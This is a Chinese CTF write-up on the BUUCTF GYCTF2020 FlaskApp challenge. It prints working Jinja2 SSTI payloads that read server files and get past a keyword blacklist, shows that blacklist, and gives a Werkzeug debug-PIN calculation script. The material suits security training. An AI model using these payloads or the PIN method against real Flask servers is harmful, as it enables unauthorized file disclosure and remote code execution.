BUUCTF——[GYCTF2020]FlaskApp1 SSTI模板注入/PIN学习
目录
一、网页功能探索
二、SSTI注入
三、方法一
四、方法二 使用PIN码
(1)服务器运行flask登录所需的用户名
(2)modename
(3)flask库下app.py的绝对路径
(4)当前网络的mac地址的十进制数
(5)机器的id
PIN码
一、网页功能探索
当我在“解密”页面输入123时,会跳转到这个页面
非常熟悉的页面,以前在做jinjia2的时候看到过,猜测是能进行ssti模板注入的。
先在加密页面输入:{{2*3}}
得到: e3syKjN9fQ== 再去解密页面,输入
此时发现得到的是 no no no
也许是 '*' 被过滤掉了,尝试 '+' ,发现可以注入!
二、SSTI注入
先尝试文件读取
{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
加密后为:
e3soKS5fX2NsYXNzX18uX19iYXNlc19fWzBdLl9fc3ViY2xhc3Nlc19fKClbNzVdLl9faW5pdF9fLl9fZ2xvYmFsc19fLl9fYnVpbHRpbnNfX1snb3BlbiddKCcvZXRjL3Bhc3N3ZCcpLnJlYWQoKX19
解释:
(1)()和.__class__
()创建一个空元组
.__class__ 获取该对象的类,即tuple类
(2)__bases__[0]
获取基类,tuple类的基类是object类
(3)__subclasses__() [75]
获取特定子类
(4)__init__.__globals__
访问初始化方法的全局变量
(5)__builtins__
python中的内置函数,包含open,eval 函数
得到:
此时不知道flag放到哪个下面了,尝试读一下完整的app.py
三、方法一
下面的方法都是参考这位师傅的wp:
BUUCTF [GYCTF2020]FlaskApp - Amsterdamnit - 博客园
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warning' %}
{{c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}
{% endif %}{% endfor%}
变为一行
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}
加密得到:
eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiBjLl9fbmFtZV9fPT0nY2F0Y2hfd2FybmluZ3MnICV9e3sgYy5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10ub3BlbignYXBwLnB5JywncicpLnJlYWQoKSB9fXslIGVuZGlmICV9eyUgZW5kZm9yICV9
成功得到app.py的源码
看一下关键的地方,发现了waf
def waf(str):
black_list=
["flag","os","system","popen","import","eval","chr","request","subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1
过滤了一些像:flag system eval hex base * 等字符
但发现还是可以通过字符串拼接来找目录,可以这样构造(构造import 和 os):
{{[].__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}
发现一个文件
尝试读取这个文件,但这里因为有flag黑名单,需要进行一些绕过,尝试用python列表的特性,使字符串倒过来(this_is_the_flag)(或者直接构造'this_is_the_fl'+'ag.txt'应该也行)
{{[].__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read()}}
成功得到flag
四、方法二 使用PIN码
先来进行操作后面再看看怎么解释吧,PIN码的生成需要以下步骤:
(1)服务器运行flask登录所需的用户名
通过之前读取的/etc/passwd可以得知为: flaskweb
(2)modename
一般不变,就是flask.app
(3)flask库下app.py的绝对路径
之前报错的信息里就会泄露
得到:/usr/local/lib/python3.7/site-packages/flask/app.py
(4)当前网络的mac地址的十进制数
通过读取/sys/class/net/eth0/address 就可以得到
{{[].__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read()}}
成功得到:
fe:fa:23:fe:b7:6e
(5)机器的id
linux的id一般存放在/etc/machine-id 或 /proc/sys/kernel/random/boot_i 中
docker机则读取 /proc/self/cgroup
这里使docker机,尝试读取
{{[].__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__'].open('/proc/self/cgroup','r').read()}}
得到:
3b8d2d4c644bc73a6b50ce280dd9061678acf45dea1970bb11f7b1f9df9e1d02
PIN码
然后尝试PIN码
from itertools import chain
import hashlib
# 定义公共信息
probably_public_bits=[
'flaskweb',
'flask.app',
'Flask',
'/usr/local/lib/python3.7/site-packages/flask/app.py'
]
# 定义私有信息
private_bits=[
'fe:fa:23:fe:b7:6e',
'3b8d2d4c644bc73a6b50ce280dd9061678acf45dea1970bb11f7b1f9df9e1d02'
]
# 将公共信息和私有信息拼接成一个列表
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt') # 最后追加盐值 cookiesalt
# 生成Flask调试会话Cookie的名称前缀
cookie_name = '__wzd' + h.hexdigest()[:20]
# 生成PIN码的中间值
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
# 格式化PIN码
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
得到:
318-076-921
通过之前输入错误信息跳转的页面可以得知是开启了 flask的debug模式的,再次进入错误界面
点击这个终端
输入我们的PIN码
可惜 -_-|,错哩
Flask的调试PIN码是调试的核心安全机制,若生产环境误开启调试模式,攻击者可通过获取PIN码执行任意代码